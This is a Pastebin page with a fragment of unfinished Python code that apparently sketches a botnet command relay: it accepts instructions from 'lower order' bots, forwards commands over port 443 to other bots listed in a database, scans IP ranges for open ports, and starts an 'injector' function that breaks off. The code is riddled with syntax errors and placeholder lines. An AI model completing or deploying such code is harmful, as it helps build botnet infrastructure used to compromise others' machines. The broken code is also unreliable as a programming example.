Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import mysql.connector
- #Need sql on device for following storage
- db = mysql.connector.connect(
- host = "localhost", user = "user", password = "password")
- mycursor = db.cursor()
- mycursor.execute("CREATE DATABASE n0bots") #bots on lower order topology(commanders)
- mycurser.execute("CREATE DATABASE n1bots") #bots on higher order topology( of client)
- # create a socket object
- #First section receiving information from lower order bots
- try:
- s = socket.socket()
- except socket.error as error:
- print("Socket error: %s" %(error))
- host = socket.gethostname()
- port = 443
- s.bind((host, port))
- s.listen(5)
- while True:
- c, addr = s.accept()
- if(addr is in n0bots):
- c.send("Connection successful")
- instructions = c.recv(1024)
- c.close()
- else:
- c.close()
- def instructions(string = instructions):
- if instructions =
- command =
- else if instructions =
- command =
- return command
- command = instructions(instructions)
- try:
- t = socket.socket()
- except socket.error as error
- print("Socket error: %s" %(error))
- #the sql db for n1bots will include hostnames in ip:port format, all ports should be 443
- for x in n1bots:
- t.connect(x)
- if t.recv(1024) = "Connection successful"
- t.send(command)
- t.close()
- else
- print("Could not create secure connection")
- t.close()
- def scanner(iprange, openports):
- sock_obj = socket.socket(socket.AF_ONET, socket.SOCK_STREAM)
- socket.setdefaulttimeout(1)
- loip = list() #list of ip port combos with open connections
- for ip in iprange
- for port in openports
- result = socket_obj.connect_ex((ip,port))
- if result = 0
- loip.append(ip:port)
- continue
- else
- continue #?list will contain a list of ip then with all open ports(want this?)
- return loip[]
- posconnections = scanner(iprange, openports)
- def injector(
- for ip in posconnections
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement